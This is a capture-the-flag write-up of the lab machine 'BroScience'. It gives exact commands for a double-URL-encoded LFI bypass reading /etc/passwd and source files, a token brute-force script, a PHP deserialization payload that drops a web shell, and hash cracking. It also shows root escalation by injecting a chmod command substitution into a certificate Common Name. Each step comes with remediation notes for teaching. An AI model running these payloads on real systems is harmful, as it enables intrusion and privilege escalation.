BroScience
Summary
Target broscience.htb ($TARGET) was fully compromised through a chain of five distinct weaknesses. I bypassed a web application firewall's path-traversal filter using double URL-encoding to exploit a Local File Inclusion flaw in the img.php endpoint, then read PHP source files that disclosed PostgreSQL database credentials and the application's account-activation logic. That logic relied on PHP's time-seeded pseudo-random number generator, making activation tokens predictable and allowing me to activate a self-registered account within seconds.
After authenticating, I abused a PHP object deserialization vulnerability in a user-controlled cookie — exploiting an AvatarInterface gadget chain — to execute arbitrary commands as the web server account www-data. From that foothold I connected to the database using the leaked credentials, dumped password hashes, and cracked them offline using Hashcat against the disclosed static salt, recovering bill's plaintext password. That credential was valid for SSH and yielded the user flag.
Root access followed from a command-injection flaw in a root-owned certificate-renewal script: the script passed certificate subject fields unsanitized to a shell invocation of openssl, so planting a certificate whose Common Name contained a shell command substitution caused /usr/bin/bash to be made SUID by the root process, granting an effective-root shell.
Command conventions
The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].
export TARGET="<retired-instance-ip>"
export USERNAME="<an-account-name-you-choose>"
export PASSWORD="<a-password-you-choose>"
export PASSWORD7="<a-password-you-choose>"
export PASSWORD8="<a-password-you-choose>"Attack path — how the box was taken
Exact commands 3
echo "$TARGET broscience.htb" | sudo tee -a /etc/hostsnmap -Pn -sV -p 22,80,443 --script http-title,http-server-header $TARGETcurl -sSk 'https://broscience.htb/' -IExact commands 2
curl -sk 'https://broscience.htb/includes/img.php?path=..%2F..%2F..%2F..%2Fetc%2Fpasswd'curl -sk 'https://broscience.htb/includes/img.php?path=%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252f%252e%252e%252fetc%252fpasswd'FixFix the Local File Inclusion vulnerability with strict canonical-path validationCritical
Exact commands 3
curl -sk 'https://broscience.htb/includes/img.php?path=%252e%252e%252f%252e%252e%252fvar%252fwww%252fhtml%252fincludes%252fdb_connect.php'curl -sk 'https://broscience.htb/includes/img.php?path=%252e%252e%252f%252e%252e%252fvar%252fwww%252fhtml%252fincludes%252futils.php'curl -sk 'https://broscience.htb/includes/img.php?path=%252e%252e%252f%252e%252e%252fvar%252fwww%252fhtml%252fincludes%252factivate.php'Exact commands 2
curl -sk -X POST 'https://broscience.htb/register.php' -d "username=$USERNAME&email=$USERNAME%40broscience.htb&password=$PASSWORD7&password-confirm=$PASSWORD7" -v 2>&1 | grep -i 'Date:'python3 -c "
import hashlib, requests, time, warnings
warnings.filterwarnings('ignore')
ts = int(time.time())
for delta in range(-30, 31):
token = hashlib.md5(str(ts + delta).encode()).hexdigest()
r = requests.get(f'https://broscience.htb/activate.php?code={token}', verify=False)
if 'Account activated' in r.text or '200' in r.text:
print(f'Activated: delta={delta} token={token}')
break
"FixReplace time-seeded activation tokens with cryptographically random valuesHigh
Exact commands 3
python3 -c "
import base64
# Craft PHP serialized AvatarInterface object; adjust field name and length from source
cmd = 'cp /bin/bash /var/www/html/shell.php; chmod +x /var/www/html/shell.php'
serial = 'O:13:\"AvatarInterface\":1:{s:7:\"imgPath\";s:' + str(len(cmd)) + ':\"' + cmd + '\";}'
print(base64.b64encode(serial.encode()).decode())
"curl -sk -b 'user-prefs=<BASE64_PAYLOAD>' 'https://broscience.htb/index.php'curl -sk 'https://broscience.htb/shell.php?cmd=id'FixRemove PHP unserialize() calls on user-supplied dataCritical
Exact commands 2
psql "postgresql://$USERNAME:$PASSWORD@127.0.0.1/broscience" -c 'SELECT username, password FROM users;'hashcat -m 20 -a 0 '$PASSWORD8:NaCl' /usr/share/wordlists/rockyou.txt --forceFixReplace MD5-with-static-salt password storage with a modern adaptive hashing algorithmHigh
Exact commands 1
sshpass -p "$PASSWORD" ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o PreferredAuthentications=password -o PubkeyAuthentication=no bill@$TARGET 'id; hostname; cat /home/bill/user.txt'Exact commands 3
mkdir -p /home/bill/Certs && openssl req -newkey rsa:2048 -nodes -keyout /home/bill/Certs/broscience.key -x509 -days 1 -subj "/C=US/ST=NY/L=NY/O=BroScience/OU=Ops/CN=$(chmod u+s $(which bash))/emailAddress=bill@broscience.htb" -out /home/bill/Certs/broscience.crtBASH_PATH=$(which bash); for i in $(seq 1 300); do ls -la "$BASH_PATH" | grep -q 'rws' && echo "SUID set at ${i}s" && break; sleep 1; donebash -p -c 'id; cat /root/root.txt'FixSanitize certificate subject fields before shell interpolation and run the renewal service unprivilegedCritical
Attack patterns used
The transferable techniques behind this compromise.
Password / Credential ReuseCredential Access · Lateral MovementT1078
What it is
A password recovered from one place — a config file, a database, a cracked hash, a service account — is tried against other accounts and services (SSH, SMB, WinRM, sudo, the database, the next host). Reuse turns a single leaked secret into broad access.
Why it works
Humans and deployments reuse passwords across accounts and tiers, and lateral movement thrives on it. Remediate with unique credentials per account/service, a password manager/vault, and MFA on remote-access services.
Read more
Cron Job AbuseLinux · Privilege EscalationT1053.003
What it is
Scheduled tasks running as root that invoke a writable script, a wildcard, or a relative path can be hijacked. Watching processes with pspy (no root needed) reveals cron jobs; if the executed file or its directory is writable, an unauthorised user overwrites it with a payload that runs at the next interval as root.
Why it works
Cron jobs are written for convenience and often reference world-writable paths or use unsafe wildcards (tar *). Remediate with absolute paths, restrictive permissions on scripts, and avoiding shell wildcards in privileged cron jobs.
Read more
Local File InclusionWebT1190
What it is
A web app builds a file path from user input (?page=../../etc/passwd), letting an unauthorised user read arbitrary files or, via log poisoning, PHP wrappers (php://filter, data://), or session files, achieve code execution. LFI commonly leaks credentials, SSH keys, and source code that feed the next step.
Why it works
The app trusts a path parameter and fails to constrain it to an allow-list. Remediate by mapping identifiers to fixed file paths, disabling dangerous PHP wrappers, and canonicalizing/validating paths.
Read more
SUID/SGID Binary AbuseLinux · Privilege EscalationT1548.001
What it is
Files with the SUID bit run with the file owner's privileges (often root) regardless of who launches them. Finding an unusual SUID binary (find / -perm -4000 2>/dev/null) that has a shell-escape or file-read primitive — per GTFOBins — yields code execution as root.
Why it works
SUID is needed for a few system binaries (passwd, ping) but custom or misconfigured SUID files are a classic escalation. Remediate by minimizing SUID binaries, dropping privileges in custom tools, and monitoring the SUID inventory for drift.
Read more
Exposed services
| 22/tcp | ssh OpenSSH 8.4p1 Debian 5+deb11u1 (protocol 2.0) |
| 80/tcp | http Apache httpd 2.4.54 |
| 443/tcp | ssl/http Apache httpd 2.4.54 ((Debian)) |